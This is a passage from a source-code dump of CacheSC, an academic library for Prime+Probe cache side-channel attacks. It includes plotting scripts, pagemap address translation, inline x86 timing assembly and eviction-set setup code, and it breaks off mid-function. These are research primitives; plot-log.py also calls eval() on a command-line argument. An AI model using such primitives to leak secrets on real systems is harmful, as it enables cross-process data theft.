https://raw.githubusercontent.com/Miro-H/CacheSC/131ab148a2b46715fdeec04f063090ebb048921f/lib/.keep -------------------------------------------------------------------------------- /scripts/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Miro-H/CacheSC/131ab148a2b46715fdeec04f063090ebb048921f/scripts/__init__.py -------------------------------------------------------------------------------- /scripts/logger.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # 4 | # This file is part of the plotting scripts supporting the CacheSC library 5 | # (https://github.com/Miro-H/CacheSC), which implements Prime+Probe attacks on 6 | # virtually and physically indexed caches. 7 | # 8 | # Copyright (C) 2020 Miro Haller 9 | # 10 | # This program is free software: you can redistribute it and/or modify 11 | # it under the terms of the GNU General Public License as published by 12 | # the Free Software Foundation, either version 3 of the License, or 13 | # (at your option) any later version. 14 | # 15 | # This program is distributed in the hope that it will be useful, 16 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | # GNU General Public License for more details. 19 | # 20 | # You should have received a copy of the GNU General Public License 21 | # along with this program. If not, see . 22 | # 23 | # Contact: miro.haller@alumni.ethz.ch 24 | # 25 | # Short description of this file: 26 | # Logger class, providing fancy output printing and different log levels. 27 | # 28 | 29 | from colorama import Fore, Style 30 | from enum import IntEnum 31 | 32 | 33 | # Constants 34 | TITLE_LINE_LEN = 64 35 | MAX_LINE_LENGTH = TITLE_LINE_LEN - 4 36 | TITLE_SEP = "#" * TITLE_LINE_LEN 37 | INDENT_LEN = 4 38 | 39 | class LogLevel(IntEnum): 40 | SILENT = 0 41 | NORMAL = 1 42 | VERBOSE = 2 43 | 44 | class Logger: 45 | def __init__(self, name, log_level=LogLevel.NORMAL): 46 | self.name = f"[{name}]: " 47 | self.log_level = log_level 48 | 49 | def set_verbose(self): 50 | self.log_level = LogLevel.VERBOSE 51 | 52 | def print_tagged(self, out): 53 | print(f"{self.name}" + out.replace("\n", f"\n{self.name}")) 54 | 55 | def error(self, msg): 56 | self.print_tagged(f"{Fore.RED}ERROR: {msg}{Style.RESET_ALL}") 57 | exit(1) 58 | 59 | def warning(self, msg): 60 | if self.log_level > LogLevel.SILENT: 61 | self.print_tagged(f"{Fore.YELLOW}WARNING: {msg}{Style.RESET_ALL}") 62 | 63 | def title(self, title): 64 | if self.log_level > LogLevel.SILENT: 65 | self.print_tagged(TITLE_SEP) 66 | for i in range(0, len(title), MAX_LINE_LENGTH): 67 | content = title[i:i+MAX_LINE_LENGTH].center(MAX_LINE_LENGTH) 68 | self.print_tagged(f"# {content} #") 69 | self.print_tagged(TITLE_SEP) 70 | 71 | def line(self, line): 72 | if self.log_level > LogLevel.SILENT: 73 | indent = "#" * INDENT_LEN 74 | self.print_tagged(f"{indent} {line}") 75 | 76 | def debug(self, s): 77 | if self.log_level >= LogLevel.VERBOSE: 78 | self.print_tagged(f"[DEBUG]: {s}") 79 | -------------------------------------------------------------------------------- /scripts/parser.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # 4 | # This file is part of the plotting scripts supporting the CacheSC library 5 | # (https://github.com/Miro-H/CacheSC), which implements Prime+Probe attacks on 6 | # virtually and physically indexed caches. 7 | # 8 | # Copyright (C) 2020 Miro Haller 9 | # 10 | # This program is free software: you can redistribute it and/or modify 11 | # it under the terms of the GNU General Public License as published by 12 | # the Free Software Foundation, either version 3 of the License, or 13 | # (at your option) any later version. 14 | # 15 | # This program is distributed in the hope that it will be useful, 16 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | # GNU General Public License for more details. 19 | # 20 | # You should have received a copy of the GNU General Public License 21 | # along with this program. If not, see . 22 | # 23 | # Contact: miro.haller@alumni.ethz.ch 24 | # 25 | # Short description of this file: 26 | # Parser class to parse log files of a certain layout and extract the timing 27 | # information used for plotting. 28 | # 29 | 30 | import re 31 | 32 | from types import SimpleNamespace 33 | from collections import namedtuple 34 | from enum import Enum 35 | 36 | from logger import Logger, LogLevel 37 | 38 | ConfEntry = namedtuple("ConfEntry", "default type pattern") 39 | 40 | class LogFile(Enum): 41 | DEFAULT = 1 42 | 43 | class Parser: 44 | def __init__(self, log_level=LogLevel.NORMAL): 45 | self.logger = Logger("parser", log_level) 46 | 47 | def extract_if_present(self, line, pattern, curr_val, default_val, type_conv): 48 | if curr_val == default_val: 49 | match = re.search(pattern, line) 50 | if match: 51 | return type_conv(match.groups()[0]) 52 | return curr_val 53 | 54 | def parse_samples(self, fp, sample_cnt, sample_size): 55 | while True: 56 | line = fp.readline() 57 | if "Sample" in line: 58 | break 59 | 60 | round_cnt = sample_cnt 61 | samples = [] 62 | 63 | # Parse samples 64 | while "Sample" in line: 65 | round_cnt -= 1 66 | if round_cnt < 0: 67 | self.logger.error(f"More than the expected {sample_cnt} samples!") 68 | 69 | line = fp.readline().rstrip() 70 | sample = list(map(int, line.split())) 71 | if len(sample) != sample_size: 72 | self.logger.error( 73 | f"Received {len(sample)}/{sample_size} measurements for " \ 74 | f"sample number {len(samples)}:\n{sample}" 75 | ) 76 | samples.append(sample) 77 | 78 | line = fp.readline() 79 | 80 | return samples, line 81 | 82 | def parse_meta_data_internal(self, meta_data_conf, log_file): 83 | line = log_file.readline() 84 | 85 | # Init 86 | meta_data = {} 87 | for key, entry in meta_data_conf.items(): 88 | meta_data[key] = entry.default 89 | 90 | # Parse metadata first 91 | self.logger.line("Parse metadata") 92 | while "Output" not in line: 93 | for key in meta_data.keys(): 94 | meta_data[key] = self.extract_if_present( 95 | line, meta_data_conf[key].pattern, 96 | meta_data[key], meta_data_conf[key].default, 97 | meta_data_conf[key].type 98 | ) 99 | 100 | line = log_file.readline() 101 | 102 | return meta_data 103 | 104 | def parse_default(self, log_file, do_normalize): 105 | meta_data_conf = { 106 | "samples_cnt": ConfEntry(0, int, "Number of samples: (.+)"), 107 | "msrmts_per_sample": ConfEntry(0, int, "Measurements per sample: (.+)"), 108 | "legend": ConfEntry("", str, "Legend: (.+)"), 109 | "x_axis_label": ConfEntry("cache set", str, "x-axis label: (.+)"), 110 | "y_axis_label": ConfEntry("avg access cycle count", str, 111 | "y-axis label: (.+)"), 112 | } 113 | 114 | meta_data = self.parse_meta_data_internal(meta_data_conf, log_file) 115 | 116 | samples_cnt = meta_data['samples_cnt'] 117 | msrmts_per_sample = meta_data['msrmts_per_sample'] 118 | 119 | bl_samples = None 120 | if do_normalize: 121 | self.logger.line( 122 | f"Parse {samples_cnt}x{msrmts_per_sample} data baseline " 123 | "measurements" 124 | ) 125 | bl_samples, _ = self.parse_samples( 126 | log_file, samples_cnt, msrmts_per_sample 127 | ) 128 | 129 | self.logger.line(f"Parse {samples_cnt}x{msrmts_per_sample} data samples") 130 | 131 | samples, last_line = self.parse_samples( 132 | log_file, samples_cnt, msrmts_per_sample 133 | ) 134 | 135 | if last_line != "": 136 | self.logger.warning( 137 | f"Trailing data after samples:\n{last_line + log_file.read()}" 138 | ) 139 | 140 | return samples, bl_samples, SimpleNamespace(**meta_data) 141 | 142 | def parse(self, file_path, do_normalize=False, file_type=LogFile.DEFAULT): 143 | self.logger.line(f"Parse log file {file_path}") 144 | 145 | with open(file_path, "r") as log_file: 146 | if file_type == LogFile.DEFAULT: 147 | return self.parse_default(log_file, do_normalize) 148 | else: 149 | self.logger.error("Unknown log file type.") 150 | -------------------------------------------------------------------------------- /scripts/plot-log.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # 4 | # This file is part of the plotting scripts supporting the CacheSC library 5 | # (https://github.com/Miro-H/CacheSC), which implements Prime+Probe attacks on 6 | # virtually and physically indexed caches. 7 | # 8 | # Copyright (C) 2020 Miro Haller 9 | # 10 | # This program is free software: you can redistribute it and/or modify 11 | # it under the terms of the GNU General Public License as published by 12 | # the Free Software Foundation, either version 3 of the License, or 13 | # (at your option) any later version. 14 | # 15 | # This program is distributed in the hope that it will be useful, 16 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 17 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 18 | # GNU General Public License for more details. 19 | # 20 | # You should have received a copy of the GNU General Public License 21 | # along with this program. If not, see . 22 | # 23 | # Contact: miro.haller@alumni.ethz.ch 24 | # 25 | # Short description of this file: 26 | # Plots cache side-channel timing observations from a log file that has a certain 27 | # structure (see parser.py or the log file generated by the demo code) 28 | # 29 | 30 | # Next to lines are to use matplotlib without X server (display) 31 | import matplotlib as mpl 32 | mpl.use('Agg') 33 | import matplotlib.pyplot as plt 34 | import argparse 35 | import scipy.stats.mstats as stats 36 | 37 | from logger import Logger 38 | from parser import Parser 39 | 40 | 41 | # Constants 42 | TRIM_HIGH_PERCENTAGE = 0.05 43 | TRIM_LOW_PERCENTAGE = 0 44 | 45 | 46 | # Parse command line arguments 47 | parser = argparse.ArgumentParser() 48 | parser.add_argument("log_file", help="path to log file to parse") 49 | parser.add_argument("-o", "--output_folder", 50 | help="path to folder for the produced plots", 51 | default="./plots") 52 | parser.add_argument("--ylims", help="fix y axis of plot, tuple (y_min, y_max)", 53 | default="tuple()") 54 | parser.add_argument("-n", "--normalize", help="normalize samples using an additional " 55 | "data set with uninfluenced data points", 56 | action="store_true") 57 | parser.add_argument("-t", "--transpose", help="transpose data set, i.e. average over" 58 | "the i-th entries of each sample", 59 | action="store_true") 60 | parser.add_argument("-v", "--verbose", help="print debug output", action="store_true") 61 | 62 | args = parser.parse_args() 63 | 64 | log_file_path = args.log_file 65 | output_folder = args.output_folder 66 | y_lims = eval(args.ylims) 67 | do_normalize = args.normalize 68 | do_transpose = args.transpose 69 | verbose = args.verbose 70 | 71 | log_file_name = log_file_path 72 | if "/" in log_file_path: 73 | log_file_name = log_file_name.rsplit("/", 1)[1] 74 | 75 | logger = Logger("plot") 76 | if verbose: 77 | logger.set_verbose() 78 | 79 | logger.title("Start plotting") 80 | 81 | # Parse log file 82 | parser = Parser() 83 | samples, bl_samples, meta_data = parser.parse(log_file_path, do_normalize) 84 | 85 | logger.line(f"Compute statistics") 86 | 87 | # Prepare data 88 | def tmean(arr): 89 | return stats.trimmed_mean(arr, limits=(TRIM_LOW_PERCENTAGE, TRIM_HIGH_PERCENTAGE)) 90 | 91 | def tstd(arr): 92 | return stats.trimmed_std(arr, limits=(TRIM_LOW_PERCENTAGE, TRIM_HIGH_PERCENTAGE)) 93 | 94 | if do_transpose: 95 | samples = list(map(list, zip(*samples))) 96 | 97 | avg_per_entry = list(map(tmean, samples)) 98 | std_per_entry = list(map(tstd, samples)) 99 | 100 | idx = 0 101 | logger.debug(sorted(samples[idx])) 102 | logger.debug(f"tmean: {tmean(samples[idx])}") 103 | 104 | if do_normalize: 105 | logger.line("Normalize samples") 106 | if do_transpose: 107 | bl_samples = list(map(list, zip(*bl_samples))) 108 | avg_bl_per_entry = list(map(tmean, bl_samples)) 109 | 110 | for i in range(len(avg_bl_per_entry)): 111 | avg_per_entry[i] -= avg_bl_per_entry[i] 112 | logger.debug(f"baseline: {avg_bl_per_entry[idx]}") 113 | logger.debug(f"normalized: {avg_per_entry[idx]}") 114 | 115 | logger.line(f"Plot samples") 116 | 117 | # Plot data 118 | fig, ax = plt.subplots(figsize=(9,5), dpi=200) 119 | 120 | if y_lims: 121 | ax.set_ylim(*y_lims) 122 | 123 | x_vals = list(range(len(avg_per_entry))) 124 | ax.errorbar(x_vals, avg_per_entry, std_per_entry, label=meta_data.legend, 125 | fmt='-^', ms=5, capthick=.5, capsize=3, linestyle='None') 126 | 127 | # General settings 128 | ax.set_title(f"Cache Side-Channel ({meta_data.samples_cnt} samples)") 129 | ax.set_xlabel(meta_data.x_axis_label) 130 | ax.set_ylabel(meta_data.y_axis_label) 131 | 132 | if meta_data.legend: 133 | ax.legend(loc=1) 134 | 135 | footnote = f"Trimming data to ({TRIM_LOW_PERCENTAGE}, {1 - TRIM_HIGH_PERCENTAGE})" 136 | plt.text(0.75, 0.01, footnote, transform=plt.gcf().transFigure) 137 | 138 | plot_name = log_file_name.rsplit(".", 1)[0] + "_plot.png" 139 | plot_path = f"{output_folder}/{plot_name}" 140 | logger.line(f"Save plot to {plot_path}") 141 | plt.savefig(plot_path) 142 | 143 | logger.line(f"Done") 144 | -------------------------------------------------------------------------------- /src/.gitignore: -------------------------------------------------------------------------------- 1 | # Ignore auto-generated files 2 | l1_asm.h 3 | l2_asm.h 4 | -------------------------------------------------------------------------------- /src/Makefile: -------------------------------------------------------------------------------- 1 | ######## Variables ######## 2 | 3 | AUTO_GEN_FILES := l1_asm.h l2_asm.h 4 | 5 | LIB := libcachesc.a 6 | LIBSRCS := cache.c util.c victim.c addr_translation.c 7 | LIBHEADERS := cachesc.h io.h asm.h cache_types.h device_conf.h \ 8 | $(AUTO_GEN_FILES) 9 | LIBOBJS := $(LIBSRCS:.c=.o) 10 | 11 | CC := gcc 12 | CFLAGS := -std=gnu99 -O1 -Winline 13 | CURR_PATH := $(realpath $(dir $(realpath $(firstword $(MAKEFILE_LIST))))) 14 | 15 | ifeq ($(INST_PATH),) 16 | INST_PATH = $(realpath $(dir $(CURR_PATH))) 17 | endif 18 | 19 | LIB_DIR := $(INST_PATH)/lib 20 | INCL_DIR := $(INST_PATH)/include 21 | HEADERS := $(LIBHEADERS) $(LIBSRCS:.c=.h) 22 | 23 | # Uncomment to suppress asserts 24 | # CFLAGS += DNDEBUG 25 | 26 | ######## Targets ######## 27 | 28 | all: gen $(LIB) build-lib install 29 | 30 | gen: 31 | ./gen_cache_asm_files.py 32 | 33 | build-lib: 34 | ar rcs $(LIB) $(LIBHEADERS) $(LIBOBJS) 35 | ranlib $(LIB) 36 | 37 | install: 38 | cp $(CURR_PATH)/$(LIB) $(LIB_DIR)/ 39 | cp $(CURR_PATH)/$(HEADERS) $(INCL_DIR)/ 40 | 41 | clean: 42 | rm -f $(LIB) $(LIBOBJS) $(AUTO_GEN_FILES) $(LIB_DIR)/$(LIB) 43 | 44 | rebuild: clean all 45 | 46 | $(LIB): $(LIBOBJS) 47 | -------------------------------------------------------------------------------- /src/addr_translation.c: -------------------------------------------------------------------------------- 1 | /* 2 | * See header file for description. 3 | */ 4 | 5 | #include "addr_translation.h" 6 | 7 | // []: The following functions are unmodified from the source 8 | 9 | /* Parse the pagemap entry for the given virtual address. 10 | * 11 | * @param[out] entry the parsed entry 12 | * @param[in] pagemap_fd file descriptor to an open /proc/pid/pagemap file 13 | * @param[in] vaddr virtual address to get entry for 14 | * @return 0 for success, 1 for failure 15 | */ 16 | int pagemap_get_entry(PagemapEntry *entry, int pagemap_fd, uintptr_t vaddr) 17 | { 18 | size_t nread; 19 | ssize_t ret; 20 | uint64_t data; 21 | uintptr_t vpn; 22 | 23 | vpn = vaddr / sysconf(_SC_PAGE_SIZE); 24 | nread = 0; 25 | while (nread < sizeof(data)) { 26 | ret = pread( 27 | pagemap_fd, 28 | &data, 29 | sizeof(data) - nread, 30 | vpn * sizeof(data) + nread 31 | ); 32 | nread += ret; 33 | if (ret <= 0) { 34 | return 1; 35 | } 36 | } 37 | entry->pfn = data & (((uint64_t)1 << 54) - 1); 38 | entry->soft_dirty = (data >> 54) & 1; 39 | entry->file_page = (data >> 61) & 1; 40 | entry->swapped = (data >> 62) & 1; 41 | entry->present = (data >> 63) & 1; 42 | return 0; 43 | } 44 | 45 | // []: The following function is changed to an API call that translates virtual 46 | // []: addresses of the calling process to physical addresses. 47 | 48 | /* Convert the given virtual address to physical using /proc/PID/pagemap. 49 | * 50 | * @param[out] paddr physical address 51 | * @param[in] vaddr virtual address to get entry for 52 | * @return 0 for success, 1 for failure 53 | */ 54 | int get_phys_addr(uintptr_t *paddr, uintptr_t vaddr) 55 | { 56 | pid_t pid = getpid(); 57 | 58 | char pagemap_file[BUFSIZ]; 59 | int pagemap_fd; 60 | 61 | snprintf(pagemap_file, sizeof(pagemap_file), "/proc/%ju/pagemap", (uintmax_t) pid); 62 | pagemap_fd = open(pagemap_file, O_RDONLY); 63 | if (pagemap_fd < 0) { 64 | return 1; 65 | } 66 | PagemapEntry entry; 67 | if (pagemap_get_entry(&entry, pagemap_fd, vaddr)) { 68 | return 1; 69 | } 70 | close(pagemap_fd); 71 | 72 | // []: Insufficient rights, the entry only holds unprivileged info 73 | if (entry.pfn == 0) { 74 | return 1; 75 | } 76 | 77 | *paddr = (entry.pfn * sysconf(_SC_PAGE_SIZE)) + (vaddr % sysconf(_SC_PAGE_SIZE)); 78 | return 0; 79 | } 80 | -------------------------------------------------------------------------------- /src/addr_translation.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Virtual to physical address translation based on the code of 3 | * https://github.com/cirosantilli/linux-kernel-module-cheat#userland-physical-address-experiments 4 | * visited on February 26, 2020. 5 | * Adapted to an API that translates the virtual addresses of the current 6 | * C file to physical addresses. Meta-comments are marked with [] 7 | * 8 | * Split into header and implementation files. 9 | */ 10 | 11 | #ifndef ADDR_TRANSLATION_H 12 | #define ADDR_TRANSLATION_H 13 | 14 | // []: The relevant includes from the source and the unchanged data struct. 15 | #define _XOPEN_SOURCE 700 16 | #include /* open */ 17 | #include /* uint64_t */ 18 | #include /* size_t */ 19 | #include /* snprintf */ 20 | #include 21 | #include /* pread, sysconf */ 22 | 23 | /* Format documented at: 24 | * https://github.com/torvalds/linux/blob/v4.9/Documentation/vm/pagemap.txt 25 | */ 26 | typedef struct { 27 | uint64_t pfn : 54; 28 | unsigned int soft_dirty : 1; 29 | unsigned int file_page : 1; 30 | unsigned int swapped : 1; 31 | unsigned int present : 1; 32 | } PagemapEntry; 33 | 34 | // []: Modified function 35 | int get_phys_addr(uintptr_t *paddr, uintptr_t vaddr); 36 | 37 | #endif // ADDR_TRANSLATION_H 38 | -------------------------------------------------------------------------------- /src/asm.h: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CacheSC library (https://github.com/Miro-H/CacheSC), 3 | * which implements Prime+Probe attacks on virtually and physically indexed 4 | * caches. 5 | * 6 | * Copyright (C) 2020 Miro Haller 7 | * 8 | * This program is free software: you can redistribute it and/or modify 9 | * it under the terms of the GNU General Public License as published by 10 | * the Free Software Foundation, either version 3 of the License, or 11 | * (at your option) any later version. 12 | * 13 | * This program is distributed in the hope that it will be useful, 14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | * GNU General Public License for more details. 17 | * 18 | * You should have received a copy of the GNU General Public License 19 | * along with this program. If not, see . 20 | * 21 | * Contact: miro.haller@alumni.ethz.ch 22 | * 23 | * Short description of this file: 24 | * This exposes a simple API to low level assembly code 25 | */ 26 | 27 | #ifndef HEADER_ASM_H 28 | #define HEADER_ASM_H 29 | 30 | #include 31 | 32 | #define CPUID_AFFECTED_REGS "rax", "rbx", "rcx", "rdx" 33 | #define RDTSC_AFFECTED_REGS "edx", "eax" 34 | #define RDTSCP_AFFECTED_REGS RDTSC_AFFECTED_REGS, "ecx" 35 | #define TRANSFER_REG "r8" 36 | 37 | 38 | static inline void clflush(void *p) __attribute__((always_inline)); 39 | static inline void lfence() __attribute__((always_inline)); 40 | static inline void sfence() __attribute__((always_inline)); 41 | static inline void mfence() __attribute__((always_inline)); 42 | static inline void cpuid(void) __attribute__((always_inline)); 43 | static inline void prefetcht0(void *p) __attribute__((always_inline)); 44 | static inline void incq(void *p) __attribute__((always_inline)); 45 | static inline void readq(void *p) __attribute__((always_inline)); 46 | static inline void rdtsc(void) __attribute__((always_inline)); 47 | static inline uint32_t accesstime(void *p) __attribute__((always_inline)); 48 | static inline uint32_t accesstime_overhead() __attribute__((always_inline)); 49 | static inline void nop_slide() __attribute__((always_inline)); 50 | 51 | static inline void clflush(void *p) { 52 | asm volatile( 53 | "clflush (%0)\n\t" 54 | :: "r" (p) 55 | ); 56 | } 57 | 58 | static inline void lfence() { 59 | asm volatile( 60 | "lfence\n\t" 61 | :: 62 | ); 63 | } 64 | 65 | static inline void sfence() { 66 | asm volatile( 67 | "sfence\n\t" 68 | :: 69 | ); 70 | } 71 | 72 | static inline void mfence() { 73 | asm volatile( 74 | "mfence\n\t" 75 | :: 76 | ); 77 | } 78 | 79 | static inline void cpuid() { 80 | asm volatile( 81 | "mov $0x80000005, %%eax\n\t" 82 | "cpuid\n\t" 83 | ::: CPUID_AFFECTED_REGS 84 | ); 85 | } 86 | 87 | static inline void prefetcht0(void *p) { 88 | asm volatile( 89 | "prefetcht0 (%0)\n\t" 90 | :: "r" (p) 91 | ); 92 | } 93 | 94 | static inline void readq(void *p) { 95 | asm volatile ( 96 | "movq (%0), %%r10\n\t" 97 | :: "r" (p) 98 | : "r10" 99 | ); 100 | } 101 | 102 | static inline void incq(void *p) { 103 | asm volatile( 104 | "incq (%0)\n\t" 105 | :: "r" (p) 106 | ); 107 | } 108 | 109 | static inline void rdtsc() { 110 | asm volatile( 111 | "rdtsc\n\t" 112 | ::: RDTSC_AFFECTED_REGS 113 | ); 114 | } 115 | 116 | static inline void start_timer() { 117 | nop_slide(); 118 | asm volatile( 119 | "cpuid\n\t" 120 | "rdtsc\n\t" 121 | "mov %%eax, %%r8d\n\t" 122 | ::: CPUID_AFFECTED_REGS, TRANSFER_REG 123 | ); 124 | } 125 | 126 | static inline void stop_timer(uint32_t *tsc_low) { 127 | asm volatile( 128 | "rdtscp\n\t" 129 | "mov %%eax, %%r9d\n\t" 130 | "cpuid\n\t" 131 | "sub %%r8d, %%r9d\n\t" 132 | "mov %%r9d, %0\n\t" 133 | : "=r" (*tsc_low) 134 | :: CPUID_AFFECTED_REGS, TRANSFER_REG, "r9" 135 | ); 136 | } 137 | 138 | /* 139 | * Measuring time according to Intel's "How to Benchmark 140 | * Code Execution Times" guide. 141 | */ 142 | static inline uint32_t accesstime(void *p) { 143 | uint32_t tsc_low = 0; 144 | 145 | asm volatile ( 146 | "cpuid\n\t" 147 | "rdtsc\n\t" 148 | "mov %%eax, %%r8d\n\t" 149 | //"movq (%1), %%r10\n\t" 150 | "incq (%1)\n\t" 151 | "rdtscp\n\t" 152 | "mov %%eax, %%r9d\n\t" 153 | "cpuid\n\t" 154 | "decq (%1)\n\t" 155 | "sub %%r8d, %%r9d\n\t" 156 | "mov %%r9d, %0\n\t" 157 | : "=r" (tsc_low) 158 | : "r" (p) 159 | : CPUID_AFFECTED_REGS, "r8", "r9"//, "r10" 160 | ); 161 | 162 | return tsc_low; 163 | } 164 | 165 | static inline uint32_t accesstime_overhead() { 166 | uint32_t tsc_low = 0; 167 | 168 | nop_slide(); 169 | start_timer(); 170 | stop_timer(&tsc_low); 171 | 172 | return tsc_low; 173 | } 174 | 175 | // Ivy Bridge has a 14-19 stage pipeline 176 | static inline void nop_slide() { 177 | asm volatile ( 178 | "nop\n\t" 179 | "nop\n\t" 180 | "nop\n\t" 181 | "nop\n\t" 182 | "nop\n\t" 183 | "nop\n\t" 184 | "nop\n\t" 185 | "nop\n\t" 186 | "nop\n\t" 187 | "nop\n\t" 188 | "nop\n\t" 189 | "nop\n\t" 190 | "nop\n\t" 191 | "nop\n\t" 192 | "nop\n\t" 193 | "nop\n\t" 194 | "nop\n\t" 195 | "nop\n\t" 196 | "nop\n\t" 197 | "nop\n\t" 198 | "nop\n\t" 199 | "nop\n\t" 200 | "nop\n\t" 201 | "nop\n\t" 202 | "nop\n\t" 203 | "nop\n\t" 204 | "nop\n\t" 205 | "nop\n\t" 206 | "nop\n\t" 207 | "nop\n\t" 208 | "nop\n\t" 209 | "nop\n\t" 210 | "nop\n\t" 211 | "nop\n\t" 212 | "nop\n\t" 213 | "nop\n\t" 214 | "nop\n\t" 215 | "nop\n\t" 216 | ); 217 | } 218 | 219 | #endif // HEADER_ASM_H 220 | -------------------------------------------------------------------------------- /src/cache.c: -------------------------------------------------------------------------------- 1 | /* 2 | * This file is part of the CacheSC library (https://github.com/Miro-H/CacheSC), 3 | * which implements Prime+Probe attacks on virtually and physically indexed 4 | * caches. 5 | * 6 | * Copyright (C) 2020 Miro Haller 7 | * 8 | * This program is free software: you can redistribute it and/or modify 9 | * it under the terms of the GNU General Public License as published by 10 | * the Free Software Foundation, either version 3 of the License, or 11 | * (at your option) any later version. 12 | * 13 | * This program is distributed in the hope that it will be useful, 14 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | * GNU General Public License for more details. 17 | * 18 | * You should have received a copy of the GNU General Public License 19 | * along with this program. If not, see . 20 | * 21 | * Contact: miro.haller@alumni.ethz.ch 22 | * 23 | * Short description of this file: 24 | * This file contains functions to initialise the data structure for 25 | * Prime+Probe attacks. Functions that are time critical (such as prime and 26 | * probe) are as inlined static functions in the cache.h to avoid the overhead 27 | * of function calls. 28 | */ 29 | 30 | #include "cache.h" 31 | 32 | 33 | // local functions 34 | int cache_ds_sanity_check(cache_ctx *ctx, cacheline *head); 35 | cacheline *build_cache_ds(cache_ctx *ctx, cacheline **cacheline_ptr_arr); 36 | void build_randomized_list_for_cache_set(cache_ctx *ctx, cacheline **cacheline_ptr_arr); 37 | cacheline **allocate_cache_ds(cache_ctx *ctx); 38 | void allocate_cache_ds_phys(cache_ctx *ctx, cacheline **cl_ptr_arr); 39 | void allocate_cache_ds_phys_unpriv(cache_ctx *ctx, cacheline **cl_ptr_arr, 40 | cacheline **cls_to_del); 41 | void allocate_cache_ds_phys_priv(cache_ctx *ctx, cacheline **cl_ptr_arr, 42 | cacheline **cls_to_del); 43 | uint32_t find_collisions(cache_ctx *ctx, cacheline *cl_candidates, 44 | cacheline **cache_set_ds_ptrs, uint32_t *cache_set_ds_lens); 45 | void identify_cache_sets(cache_ctx *ctx, cacheline *coll_cl, cacheline *cache_set_ds, 46 | uint32_t cache_set_ds_len, uint32_t *cache_group); 47 | bool has_collision(cache_ctx *ctx, cacheline *cl_candidate, cacheline *cache_set_ds, 48 | uint32_t cache_set_ds_len); 49 | void finish_identifying_groups(cache_ctx *ctx, cacheline **cache_set_ds_ptrs, 50 | cacheline **cls_to_del, uint32_t *cache_group); 51 | 52 | 53 | /* 54 | * Initialises the complete cache data structure for the given context 55 | */ 56 | cacheline *prepare_cache_ds(cache_ctx *ctx) { 57 | cacheline **cacheline_ptr_arr = allocate_cache_ds(ctx); 58 | 59 | cacheline *cache_ds = build_cache_ds(ctx, cacheline_ptr_arr); 60 | assert(!cache_ds_sanity_check(ctx, cache_ds)); 61 | 62 | // release internal indirection data structure again 63 | free(cacheline_ptr_arr); 64 | 65 | return cache_ds; 66 | } 67 | 68 | /* 69 | * Initialises the cache data structure for the given context and set 70 | */ 71 | cacheline *prepare_cache_set_ds(cache_ctx *ctx, uint32_t *sets, uint32_t sets_len) { 72 | cacheline *cache_ds = prepare_cache_ds(ctx); 73 | 74 | cacheline **first_cl_in_sets = (cacheline **) calloc(ctx->sets, 75 | sizeof(cacheline *)); 76 | cacheline **last_cl_in_sets = (cacheline **) calloc(ctx->sets, 77 | sizeof(cacheline *)); 78 | assert(first_cl_in_sets); 79 | assert(last_cl_in_sets); 80 | 81 | // Find the cache groups that are used, so that we can delete the other ones 82 | // later (to avoid memory leaks) 83 | uint32_t i, cache_groups_len; 84 | uint32_t cache_groups_max_len = ctx->sets / CACHE_GROUP_SIZE; 85 | uint32_t *cache_groups = (uint32_t *) malloc(cache_groups_max_len 86 | * sizeof(uint32_t)); 87 | assert(cache_groups); 88 | 89 | cache_groups_len = 0; 90 | for (i = 0; i < sets_len; ++i) { 91 | if (!is_in_arr(sets[i] / CACHE_GROUP_SIZE, cache_groups, cache_groups_len)) { 92 | cache_groups[cache_groups_len] = sets[i] / CACHE_GROUP_SIZE; 93 | ++cache_groups_len; 94 | } 95 | } 96 | 97 | cacheline *to_del_cls = NULL; 98 | cacheline *curr_cl = cache_ds; 99 | cacheline *next_cl, *cache_set_ds; 100 | 101 | // Extract the partial data structure for the cache sets and ensure correct freeing 102 | do { 103 | next_cl = curr_cl->next; 104 | 105 | if (IS_FIRST(curr_cl->flags)) { 106 | first_cl_in_sets[curr_cl->cache_set] = curr_cl; 107 | } 108 | if (IS_LAST(curr_cl->flags)) { 109 | last_cl_in_sets[curr_cl->cache_set] = curr_cl; 110 | } 111 | 112 | if (ctx->addressing == PHYSICAL && !is_in_arr( 113 | curr_cl->cache_set / CACHE_GROUP_SIZE, cache_groups, cache_groups_len)) 114 | { 115 | // Already free all unused blocks of the cache ds for physical 116 | // addressing, because we loose their refs 117 | cl_insert(to_del_cls, curr_cl); 118 | to_del_cls = curr_cl; 119 | } 120 | curr_cl = next_cl; 121 | 122 | } while(curr_cl != cache_ds); 123 | 124 | // Fix partial cache set ds 125 | for (i = 0; i < sets_len; ++i) { 126 | last_cl_in_sets[sets[i]]->next = first_cl_in_sets[sets[(i + 1) % sets_len]]; 127 | first_cl_in_sets[sets[(i + 1) % sets_len]]->prev = last_cl_in_sets[sets[i]]; 128 | } 129 | cache_set_ds = first_cl_in_sets[sets[0]]; 130 | 131 | // Free unused cache lines 132 | if (ctx->addressing == PHYSICAL) { 133 | release_cache_ds(ctx, to_del_cls); 134 | } 135 | 136 | free(first_cl_in_sets); 137 | free(last_cl_in_sets); 138 | free(cache_groups); 139 | 140 | return cache_set_ds; 141 | } 142 | 143 | /* 144 | * Allocate a data structure that fills the complete cache, i.e. consisting 145 | * of `associativity` many cache lines for each cache set. 146 | */ 147 | cacheline **allocate_cache_ds(cache_ctx *ctx) { 148 | cacheline **cl_ptr_arr; 149 | 150 | cl_ptr_arr = (cacheline **) malloc(ctx->nr_of_cachelines * sizeof(cacheline *)); 151 | assert(cl_ptr_arr); 152 | 153 | if (ctx->addressing == VIRTUAL) { 